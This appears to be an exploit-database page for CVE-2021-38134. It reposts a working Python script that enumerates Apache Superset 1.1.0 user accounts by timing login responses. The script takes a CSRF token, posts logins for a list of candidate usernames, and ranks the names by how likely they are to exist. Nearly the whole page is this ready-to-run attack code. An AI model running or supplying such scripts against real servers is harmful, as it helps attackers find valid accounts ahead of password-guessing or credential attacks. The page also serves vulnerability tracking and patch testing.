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Apache Superset 1.1.0 Time-Based Account Enumeration

CVE Category Price Severity
CVE-2021-38134 CWE-287 Unknown High
Author Risk Exploitation Type Date
Unknown High Remote 2021-07-10
CVSS EPSS EPSSP
CVSS:4.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021070064

Below is a copy:

Apache Superset 1.1.0 Time-Based Account Enumeration
# Exploit Title: Apache Superset 1.1.0 - Time-Based Account Enumeration
# Author: Dolev Farhi
# Date: 2021-05-13
# Vendor Homepage: https://superset.apache.org/
# Version: 1.1.0
# Tested on: Ubuntu

import sys
import requests
import time

scheme = 'http'
host = '192.168.1.1'
port = 8080

# change with your wordlist
usernames = ['guest', 'admin', 'administrator', 'idontexist', 'superset']

url = '{}://{}:{}'.format(scheme, host, port)
login_endpoint = '/login/'

session = requests.Session()

def get_csrf():
  token = None
  r = session.get(url + login_endpoint, verify=False)

  for line in r.text.splitlines():
    if 'csrf_token' in line:
      try:
        token = line.strip().split('"')[-2]
      except:
        pass
  return token

csrf_token = get_csrf()

if not csrf_token:
  print('Could not obtain CSRF token, the exploit will likely fail.')
  sys.exit(1)

data = {
  'csrf_token':csrf_token,
  'username':'',
  'password':'abc'
}

attempts = {}
found = False

for user in usernames:
  start = time.time()
  data['username'] = user
  r = session.post(url + login_endpoint, data=data, verify=False, allow_redirects=True)
  roundtrip = time.time() - start
  attempts["%.4f" % roundtrip] = user

print('[!] Accounts existence probability is sorted from high to low')

count = 0

for key in sorted(attempts, reverse=True):
  count += 1
  print("%s. %s (timing: %s)" % (count, attempts[key], key))

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